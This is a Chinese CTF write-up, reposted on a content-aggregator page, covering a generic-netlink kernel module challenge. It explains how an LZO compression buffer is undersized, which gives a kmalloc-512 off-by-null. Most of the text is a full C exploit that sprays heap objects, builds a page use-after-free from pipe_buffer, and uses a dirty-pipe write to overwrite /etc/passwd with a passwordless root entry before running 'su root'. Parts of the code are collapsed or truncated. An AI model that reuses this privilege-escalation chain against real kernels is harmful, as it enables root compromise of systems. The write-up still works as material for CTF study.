杭州专业做网站/淮北网络推广

杭州专业做网站,淮北网络推广,高端织梦html5网站模板 dedecms网络公司模板,电子商务 做网站前言 最近在矩阵杯遇到了一道 generic netlink 相关的内核题,然后就简单学习了一下 generic netlink 相关概念,然后又找了一到与 generic netlink 相关的题目。简单来说 generic netlink 相关的题目仅仅是将用户态与内核态的交互方式从传统的 ioctl 变成…

前言

最近在矩阵杯遇到了一道 generic netlink 相关的内核题,然后就简单学习了一下 generic netlink 相关概念,然后又找了一到与 generic netlink 相关的题目。简单来说 generic netlink 相关的题目仅仅是将用户态与内核态的交互方式从传统的 ioctl 变成了 netlink,所以了解了 generic netlink 的交互方式,其实就跟传统的内核题没啥区别。

漏洞分析

  • 内核版本 v6.5.7smap/smep/kaslr 全开
  • 开启了 CONFIG_SLAB_FREELIST_RANDOMCONFIG_SLAB_FREELIST_HARDENED,但是不存在 cg 隔离
  • key_uring / pipe / fcntl 等相关系统调用都可以使用

bbs_nl_family 结构体如下:
在这里插入图片描述
可以看到这里定义了 15 个功能,注意这里不是设置的 ops,而是 split_opsbbs_nl_ops 如下:
在这里插入图片描述
从函数名可以看出,这里就存在对 typeadd/get/del 操作;对 titleadd/edot/del/get 操作;对 msgadd/edit/del/star/get 操作。
其中 type 的结构体定义如下:
在这里插入图片描述
title 的结构体定义如下:
在这里插入图片描述
msg 的结构体定义如下,因为我并没有分析所有的功能函数,所以这里有一些字段意义不明:
在这里插入图片描述
三者的关系如下:
在这里插入图片描述
这里 msg 我没有画出来,其是连接在 titlemsg_list 链表上的,这里调试发现 titlemsg 是一对一的似乎。

漏洞发生在 bbs_nl_add_msg_doit 函数中:
在这里插入图片描述
这里的伪代码不是很好看,这里逻辑如下:

unsigned int data_len = nlattr4->nla_len - 4;
if (data_len <= 1023) {void *data = nlattr4->data;void *ptr = kmalloc(data_len, GFP_KERNEL | GFP_ZERO);msg->compress_data = ptr;int len = strlen(data);memcpy(src, data, len); // char src[1072],所以这里不存在溢出// 将 src 中 data_len 的进行压缩,压缩后的数据存储在 ptr 中(包含压缩元数据)lzo1x_1_compress(src, data_len, ptr, v45, &wrk);goto LABEL_21;
}

这里分配的压缩后的存储区域刚好为输入的压缩数据的大小,而压缩后的数据包含一些压缩元数据。一般情况下,压缩后的数据确实比源输入数据小,但是这里我们可以精心输入一些输入数据,使得其压缩率非常低,即压缩的字节数<元数据的字节数,此时就会发生越界写的问题。

比如我们输入 512 字节的数据,那么此时分配的 ptr 的空间为 kmalloc-512,如果此时的压缩比很低,比如只压缩了 2 个字节,但是压缩的元数据为 3 个字节,那么此时压缩后的数据大小为:512 - 2 + 3 = 513 字节,所以此时就会向 ptr => kmalloc-512 中写入 513 字节,此时就会发送溢出写。当然这里的 data_len <= 1023 所以我们可以利用的堆块大小有较多的选择,这里我选择 kmalloc-512

最开始,我是让 gpt 帮我生成,但是都不行,其压缩比都比较高。最后我利用 python 的伪随机数生成器生成了一串序列:

import randomxx = []
for i in range(1024):x = random.randint(1, 255)while x == ord('"'):x = random.randint(1, 255)xx.append(x)for i in xx:print("\\"+"x"+hex(i)[2:].zfill(2), end="")
print("")\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6e\xa1\x98\x6d\x8f\xff\x2c\x21\x7b\x77\xbd\xbb\xda\xcc\x10\x58\x4c\x61\x15\x50\x40\xdb\x74\x70\xea\x57\xe0\x0d\xaf\x94\xe0\xf8\xf7\xbb\xe3\xd6\x88\xdc\x52\x43\x5a\x7f\x4e\xde\x96\xf6\xdb\x03\xa7\x96\x78\x3c\xee\x31\xc7\x23\xe6\xc9\x20\x58\x8f\xe6\x91\xf7\x7d\xc6\xa2\xcf\xa9\x39\x14\x89\x13\x7d\x88\xac\x1a\xf3\xa4\xa5\x59\xdd\x76\xa5\x64\x35\x4f\xc5\x18\x24\xf1\xde\x12\x48\x25\x09\xbd\x49\xd8\x76\xac\xf2\x07\x1c\xc7\x3b\x62\x34\xbb\xf6\x90\xd9\x97\x35\xf2\x48\x15\xc3\x79\xc3\x73\x03\xff\xa4\x59\x05\x76\xfb\x7e\x0f\x4b\x42\xa1\xe6\xd8\x21\xec\xf7\x26\x99\xbb\xe1\x08\x14\x60\xdd\xea\xd6\x55\x27\x90\x2d\xa8\x98\x1c\x5e\xc5\xba\x82\x37\xc2\xc6\x47\x3b\xff\xa7\x33\x54\x30\x66\x67\xe7\xcd\xc5\x8d\x60\xd3\xb6\x2c\xf7\x8f\x27\x47\x26\xe6\xcf\x02\x16\x42\x77\xc1\x9f\xa3\xa4\xd9\x69\xd0\x3e\x68\x4f\xbd\xb5\xac\xdd\x0f\x4c\xbc\x29\xdb\x5f\x91\x23\x06\xd9\xb1\xd4\xb0\xcb\x83\xcc\x58\x01\x26\xa4\x78\x1c\x6a\x0e\x7f\x76\x02\xb4\x14\x50\x0d\xf7\x51\x3d\x93\xcf\x5a\xa8\xb9\xcc\x68\xa0\xfd\xa3\xcd\x47\x5c\x58\xf1\x15\x9d\xd8\xdd\x56\xf7\xd4\x5e\x10\x99\xbd\xe5\x48\x86\x2a\x1b\x41\x10\xa5\x31\x1c\x21\x0a\x74\x64\x63\x64\x4a\x3f\x35\x4f\x53\x85\xf7\x5c\xbe\x33\xa2\x59\xd1\x78\x7a\x0c\xd0\xe6\x8e\xed\x79\xba\x7b\xb2\x07\xa6\x7e\x1d\x90\xf9\xaa\xed\x74\x99\xe5\x05\xa0\xde\x41\x99\x91\xa5\x22\x49\xe4\xe7\x71\x0a\x7c\x86\x32\x99\x9b\xa3\xbb\x89\xce\x6a\x2e\xaa\xf8\xc2\x85\x84\x91\x22\xae\xd7\x9c\xff\xc8\x41\xa9\x45\x36\x87\xad\xa8\x1c\xce\x09\x48\xfa\xaa\x51\x2f\x7e\x80\x57\x16\xff\x62\x4b\x45\x2c\x38\xc3\x1c\xfd\x83\x41\x9d\xfa\x22\xb1\x09\x90\xfc\x39\xa2\xce\xb7\x4a\xb3\x42\xd9\x7f\xb8\x6a\x9d\xa6\xf2\xa5\x73\x23\x45\xc8\x3b\x0e\xf7\x95\x36\x21\xfc\x7b\x84\xb7\xf6\x77\x58\xb1\x4c\x3f\xe4\x50\x3d\x30\xc7\x94\x31\xc0\x7a\x10\x2f\xc1\x06\xc9\x12\xbc\x55\xf8\x1b\x38\xa9\x31\x6f\x40\xa7\xc0\xa5\xa1\x3d\x3f\xe2\x80\x67\x03\x35\x8e\x31\xd0\x38\xf1\xd8\x88\x57\xd2\x89

这串序列的效果可以实现一个 kmalloc-512 off by null,即溢出写下一个相邻堆块的低字节为 null 字节。

漏洞利用

这里我选择利用 pipe_buffer 去构造 page uaf,然后在 page uaf 的基础上就可以随便玩了。我选择的是在 uaf page 上堆喷 pipe_buffer 从而打 dirty pipe,具体思路如下:

  • 交替堆喷 kmalloc-512 pipe_bufferkmalloc-512 user_key_paylaod,释放所有的 kmalloc-512 user_key_payload 构造一些空洞
  • 替换 msg 进行越界写 null 字节,大概率可以形成如下内存布局:
    在这里插入图片描述
  • close(original pipe),此时 page 会被释放,当时 victim pipe 仍然保留着对其的引用,所有成功构造 page uaf
  • uaf page 上堆喷大量的 kmalloc-512 pipe_buffersplice,然后就可以利用 victim pipe 对其进行读写

这里我选择的是修改 /etc/passwd,这里为了演示效果,修改下 init 脚本:

#!/bin/shchown root * -Rmount -t proc none /proc
mount -t tmpfs none /tmp
mount -t sysfs none /sys
mount -t devtmpfs none /devmkdir /dev/pts
mount /dev/ptsecho 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrictinsmod /lib/module/bbs.ko
#lsmod
chmod +s /bin/busyboxcd /home/ctf
#setsid cttyhack setuidgid 0 sh
setsid cttyhack setuidgid 1000 shpoweroff -f

使用 chown root * -R 设置文件的所有者;然后给 /bin/busybox 一个 s 权限,使得后面可以执行 su

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <assert.h>
#include <sys/resource.h>#include <linux/genetlink.h>
#include <libmnl/libmnl.h>
#define PWN_NAME "bbs"
#define CMD_ADD_TYPE  1
#define ADD_TYPE_NAME 1
#define ADD_TYPE_DATA 2#define CMD_GET_TYPE_DUMPIT 2#define CMD_DELE_TYPE  3
#define DELE_TYPE_NAME 1#define CMD_ADD_TITLE        4
#define ADD_TITLE_TYPE_NAME  1
#define ADD_TITLE_TITLE_NAME 2
#define ADD_TITLE_DATA       3#define CMD_EDIT_TITLE        5
#define EDIT_TITLE_TYPE_NAME  1
#define EDIT_TITLE_TITLE_NAME 2
#define EDIT_TITLE_DATA       3#define CMD_DELE_TITLE        6
#define DELE_TITLE_TYPE_NAME  1
#define DELE_TITLE_TITLE_NAME 2#define CMD_ADD_MSG        8
#define ADD_MSG_TYPE_NAME  1
#define ADD_MSG_TITLE_NAME 2
#define ADD_MSG_MSG_NAME   3
#define ADD_MSG_DATA       4#define CMD_DELE_MSG        10
#define DELE_MSG_TYPE_NAME  1
#define DELE_MSG_TITLE_NAME 2
#define DELE_MSG_MSG_NAME   3#define CMD_STAR_MSG        11
#define STAR_MSG_TYPE_NAME  1
#define STAR_MSG_TITLE_NAME 2
#define STAR_MSG_MSG_NAME   3
#define STAR_MSG_NUMS       7#define REDS "\033[31m\033[1m"
#define REDE "\033[0m"
#define fail_exit(msg) { printf(REDS"[Error %s, %d line, %s]: %s\n"REDE, \__FUNCTION__, __LINE__, __FILE__, msg);\exit(-1); }void err_exit(char *msg)
{puts(msg);sleep(2);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}uint32_t PWN_ID;
static int data_attr_cb(const struct nlattr *attr, void *data) {const struct nlattr **tb = data;int type = mnl_attr_get_type(attr);if (mnl_attr_type_valid(attr, CTRL_ATTR_MAX) < 0)return MNL_CB_OK;switch (type) {case CTRL_ATTR_FAMILY_NAME:if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_FAMILY_ID:if (mnl_attr_validate(attr, MNL_TYPE_U16) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_VERSION:case CTRL_ATTR_HDRSIZE:case CTRL_ATTR_MAXATTR:if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;case CTRL_ATTR_OPS:case CTRL_ATTR_MCAST_GROUPS:if (mnl_attr_validate(attr, MNL_TYPE_NESTED) < 0) {perror("mnl_attr_validate");return MNL_CB_ERROR;}break;}tb[type] = attr;return MNL_CB_OK;
}static int data_cb(const struct nlmsghdr *nlh, void *data) {struct nlattr *tb[CTRL_ATTR_MAX + 1] = {};struct genlmsghdr *genl = mnl_nlmsg_get_payload(nlh);mnl_attr_parse(nlh, sizeof(*genl), data_attr_cb, tb);if (tb[CTRL_ATTR_FAMILY_NAME]) {printf("name=%s\t", mnl_attr_get_str(tb[CTRL_ATTR_FAMILY_NAME]));}if (tb[CTRL_ATTR_FAMILY_ID]) {PWN_ID = mnl_attr_get_u16(tb[CTRL_ATTR_FAMILY_ID]);printf("id=%u\t", PWN_ID);}if (tb[CTRL_ATTR_VERSION]) {printf("version=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_VERSION]));}if (tb[CTRL_ATTR_HDRSIZE]) {printf("hdrsize=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_HDRSIZE]));}if (tb[CTRL_ATTR_MAXATTR]) {printf("maxattr=%u\t", mnl_attr_get_u32(tb[CTRL_ATTR_MAXATTR]));}printf("\n");return MNL_CB_OK;
}void get_family_id() {struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = GENL_ID_CTRL;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CTRL_CMD_GETFAMILY;genl->version = 1;mnl_attr_put_u32(nlh, CTRL_ATTR_FAMILY_ID, GENL_ID_CTRL);mnl_attr_put_strz(nlh, CTRL_ATTR_FAMILY_NAME, PWN_NAME);nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, data_cb, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1) {fail_exit("error");}mnl_socket_close(nl);
}void add_type(char *type_name, char *data) {struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_TYPE;genl->version = 1;type_name[strlen(type_name)] = '\x00';if (strlen(data) > 128)data[128] = '\x00';elsedata[strlen(data)] = '\x00';mnl_attr_put_strz(nlh, ADD_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_TYPE_DATA, data);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void add_title(char *type_name, char *title_name, char *data){struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_TITLE;genl->version = 1;type_name[strlen(type_name)] = '\x00';title_name[strlen(title_name)] = '\x00';if (strlen(data) > 128)data[128] = '\x00';elsedata[strlen(data)] = '\x00';mnl_attr_put_strz(nlh, ADD_TITLE_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_TITLE_TITLE_NAME, title_name);mnl_attr_put_strz(nlh, ADD_TITLE_DATA, data);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void add_msg(char *type_name, char *title_name, char *msg_name){struct mnl_socket *nl;char buf[MNL_SOCKET_BUFFER_SIZE];struct nlmsghdr *nlh;struct genlmsghdr *genl;int ret;unsigned int seq, portid;nl = mnl_socket_open(NETLINK_GENERIC);if (nl == NULL) {perror("mnl_socket_open");exit(EXIT_FAILURE);}if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {perror("mnl_socket_bind");exit(EXIT_FAILURE);}portid = mnl_socket_get_portid(nl);nlh = mnl_nlmsg_put_header(buf);nlh->nlmsg_type = PWN_ID;nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;nlh->nlmsg_seq = seq = time(NULL);genl = mnl_nlmsg_put_extra_header(nlh, sizeof(struct genlmsghdr));genl->cmd = CMD_ADD_MSG;genl->version = 1;type_name[strlen(type_name)] = '\x00';title_name[strlen(title_name)] = '\x00';msg_name[strlen(msg_name)] = '\x00';char msg[1024] = { 0 };strcpy(msg, "\x18\x2e\x86\x2a\x07\xa7\xb7\x08\x63\xbf\xdf\x0b\xd8\x36\xde\xdd\x5a\x48\xf5\x78\x23\x9f\xb8\x2c\x49\x66\xc7\xa0\xee\x3e\xee\x9c\x44\x2a\x92\x5a\x6a\xc7\xdf\x6;msg[strlen(msg)] = '\x00';mnl_attr_put_strz(nlh, ADD_MSG_TYPE_NAME, type_name);mnl_attr_put_strz(nlh, ADD_MSG_TITLE_NAME, title_name);mnl_attr_put_strz(nlh, ADD_MSG_MSG_NAME, msg_name);mnl_attr_put_strz(nlh, ADD_MSG_DATA, msg);if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {perror("mnl_socket_sendto");exit(EXIT_FAILURE);}ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));while (ret > 0) {ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL);if (ret <= 0)break;ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));}if (ret == -1){perror("ERR");fail_exit("error");}mnl_socket_close(nl);
}void inc_limit()
{int ret;struct rlimit open_file_limit;ret = getrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);printf("[*] file limit: %ld\n", open_file_limit.rlim_max);open_file_limit.rlim_cur = open_file_limit.rlim_max;ret = setrlimit(RLIMIT_NOFILE, &open_file_limit);assert(ret >= 0);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;/* read start from len to offset, write start from offset */
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};void dirty_pipe() {#define SPRAY_PIPE_NUMS (450)int pipe_fd[SPRAY_PIPE_NUMS][2];
//      #define ATTACK_FILE "/bin/busybox"#define ATTACK_FILE "/etc/passwd"#define ATTACK_SPRAY_NUMS (200)#define SPRAY_KEYS_NUMS (75)int file_fd[ATTACK_SPRAY_NUMS];int pipe_fd_[ATTACK_SPRAY_NUMS][2];int key_id[SPRAY_KEYS_NUMS];char type_name[0x20+1] = { 0 };char title_name[0x40+1] = { 0 };char msg_name[0x100+1] = { 0 };char data[0x1000] = { 0 };char buf[0x1000] = { 0 };char desc[0x100] = { 0 };memset(data, 'A', 0x100);get_family_id();strcpy(type_name, "pwnType");add_type(type_name, data);puts("===================== check ====================");puts("[+] CHECK");system("id");system("ls -alh /etc/passwd");system("cat /etc/passwd");system("echo 'AAAA' > /etc/passwd");puts("===================== pwn ======================");puts("[+] Prepare some title objects");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {sprintf(title_name, "%s%d", "pwnTitle", i);add_title(type_name, title_name, data);}puts("[+] Spraying filp && pipe_buffer for dirty pipe");for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {file_fd[i] = open(ATTACK_FILE, O_RDONLY);if (file_fd[i] < 0) err_exit("open");}for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (pipe(pipe_fd_[i]) < 0) fail_exit("pipe");
//              write(pipe_fd_[i][1], "XiaozaYa", 8);}puts("[+] Spraying pipe_buffer to prepare for PAGE UAF");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (pipe(pipe_fd[i]) < 0) fail_exit("pipe");}
//      puts("[+] DEBUG");
//      getchar();puts("[+] Fcntl pipe_buffer to kmalloc-512 and alloc kmalloc-512 user_key_payload");int start = SPRAY_PIPE_NUMS - SPRAY_KEYS_NUMS;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {sprintf(desc, "XiaozaYa-%d", i);if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*8) < 0) fail_exit("fcntl");write(pipe_fd[i][1], "XiaozaYa", 8);uint64_t nr = 0xdead0000+i;write(pipe_fd[i][1], &nr, 8);if (i >= start && i < SPRAY_KEYS_NUMS + start)if ((key_id[i-start] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");}
//      puts("[+] DEBUG");
//      getchar();puts("[+] Freeing kmalloc-512 user_key_payload to construct some holes");for (int i = 0; i < SPRAY_KEYS_NUMS; i++) {if (key_revoke(key_id[i]) < 0) fail_exit("key_revoke");if (key_unlink(key_id[i]) < 0) fail_exit("key_unlink");}sleep(2);uint64_t victim_idx   = -1;uint64_t original_idx = -1;puts("[+] Spraying msg to occupy and construct PAGE UAF");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {memset(title_name, 0, sizeof(title_name));memset(msg_name, 0, sizeof(msg_name));sprintf(title_name, "%s%d", "pwnTitle", i);sprintf(msg_name, "%s%d", "pwnMsg", i);add_msg(type_name, title_name, msg_name);}puts("[+] Check Hit or Not");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {char tag[0x10] = { 0 };uint64_t nr = -1;read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, 8);if ((nr&0xffff0000) != 0xdead0000) continue;
//              printf("%#x-%#lx\n", i, nr);
//              puts(tag);if (!strcmp(tag, "XiaozaYa") && (nr-0xdead0000) != i) {victim_idx = i;original_idx = nr - 0xdead0000;break;}}if (victim_idx == -1) fail_exit("So Bad");printf("[+] victim_idx: %ld\n", victim_idx);printf("[+] original_idx: %ld\n", original_idx);memset(buf, 'A', sizeof(buf));write(pipe_fd[victim_idx][1], buf, 192+sizeof(struct pipe_buffer));read(pipe_fd[victim_idx][0], buf, 192);close(pipe_fd[original_idx][0]);close(pipe_fd[original_idx][1]);puts("[+] Fcntl attack_pipe to kmalloc-512 and occupy UAF PAGE");for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (fcntl(pipe_fd_[i][1], F_SETPIPE_SZ, 0x1000*4) < 0) fail_exit("fcntl");}for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {loff_t offset = 1;if (splice(file_fd[i], &offset, pipe_fd_[i][1], NULL, 1, 0) <= 0) fail_exit("fcntl");}memset(buf, 0, sizeof(buf));struct pipe_buffer evil_buf;puts("[+] Spraying some kmalloc-512 user_key_payload to occupy the rest objects");memset(desc, 0, sizeof(desc));for (int i = 0; i < SPRAY_KEYS_NUMS / 2; i++) {sprintf(desc, "GO-%d", i);if ((key_id[i] = key_alloc(desc, buf, 248)) < 0) fail_exit("key_alloc");}uint64_t page_ops = 0xffffffff82227860;read(pipe_fd[victim_idx][0], &evil_buf, sizeof(struct pipe_buffer));if (((uint64_t)evil_buf.ops&0xffffffff00000fff) != (page_ops&0xffffffff00000fff)) {fail_exit("So Bad");}printf("[======= dump page    =====] %p\n",  evil_buf.page);printf("[======= dump offset  =====] %d\n",  evil_buf.offset);printf("[======= dump len     =====] %d\n",  evil_buf.len);printf("[======= dump ops     =====] %p\n",  evil_buf.ops);printf("[======= dump flags   =====] %#x\n", evil_buf.flags);printf("[======= dump private =====] %ld\n", evil_buf.private);int evil_idx = evil_buf.offset - 1;//      getchar();
//      memset(buf, '\x00', sizeof(buf));evil_buf.offset = 0;evil_buf.len = 0;evil_buf.flags = 0x10;write(pipe_fd[victim_idx][1], &evil_buf, sizeof(struct pipe_buffer));char *cmd = "root::0:0:root:/root:/bin/sh\x00";for (int i = 0; i < ATTACK_SPRAY_NUMS; i++) {if (write(pipe_fd_[i][1], cmd, strlen(cmd)+1) < 0) fail_exit("write pipe")}puts("===================== root =====================");puts("So cool~~~");system("cat /etc/passwd");system("su root");puts("EXP NERVER END!");
//      while(1) {}
}int main() {bind_core(0);inc_limit();setbuf(stdout, 0);dirty_pipe();return 0;
}

效果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/22497.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

盘点学习Python常犯一些错误,你中了几个

对于刚入门的 Pythonista 在学习过程中运行代码是或多或少会遇到一些错误&#xff0c;刚开始可能看起来比较费劲。随着代码量的积累&#xff0c;熟能生巧当遇到一些运行时错误时能够很快的定位问题原题。下面整理了一些常见的 17 个错误&#xff0c;等你写出的代码不怎么出现这…

测试工具链

缺陷管理 bug管理工具 devops---项目管理--缺陷管理 bug管理地址 https://devsecops.mychery.com:8443/chery/project?filterROLE&statusACTIVE bug管理环境 采用公司的devops平台&#xff0c;对每个项目的bug进行管理。目前在使用 接口测试和服务端性能测试 工具…

斯坦福抄袭清华、面壁智能大模型,当事人已道歉、删项目

6月4日&#xff0c;两名斯坦福大学生Aksh Garg和Siddharth Sharma&#xff0c;承认抄袭清华和面壁智能联合开发的MiniCPM-Llama3-V2.5&#xff08;以下简称V2.5&#xff09;多模态大模型事件&#xff0c;并在社交平台公开道歉、删掉开源项目。 该抄袭事件也得到了斯坦福大学AI…

【python】成功解决“ImportError: cannot import name ‘triu’ from ‘scipy.linalg’”错误的全面指南

成功解决“ImportError: cannot import name ‘triu’ from ‘scipy.linalg’”错误的全面指南 在Python编程中&#xff0c;尤其是在使用scipy这个科学计算库时&#xff0c;可能会遇到ImportError错误&#xff0c;提示无法从scipy.linalg模块中导入名为triu的函数。这个错误通…

ROS系列rqt的安装以及使用方法介绍

目录 1. 安装 2. 部分工具的功能介绍及使用方法 1&#xff09;rqt_gui 2&#xff09;rqt_topic 3&#xff09;rqt_graph 4&#xff09;qt_plot 5&#xff09;rqt_service_caller 6&#xff09;rqt_bag 1. 安装 安装极其简单&#xff0c;不多介绍&#xff0c;直接上命令…

反向海淘代购系统中的API接口列表

API测试入口|代购系统演示 item_get 获得淘宝商品详情item_get_pro 获得淘宝商品详情高级版item_review 获得淘宝商品评论item_fee 获得淘宝商品快递费用item_password 获得淘口令真实urlitem_list_updown 批量获得淘宝商品上下架时间seller_info 获得淘宝店铺详情item_search…

CrossPrefetch: Accelerating I/O Prefetching for Modern Storage——论文泛读

ASPLOS 2024 Paper 论文阅读笔记整理 问题 目前计算设备和存储设备之间的性能差距仍然很大。因此&#xff0c;主内存缓存和缓冲区被广泛用于操作系统、用户级文件系统[32]和I/O运行时&#xff0c;在隐藏性能差距和减少I/O瓶颈方面发挥关键作用[23&#xff0c;26&#xff0c;3…

python运算符和表达式

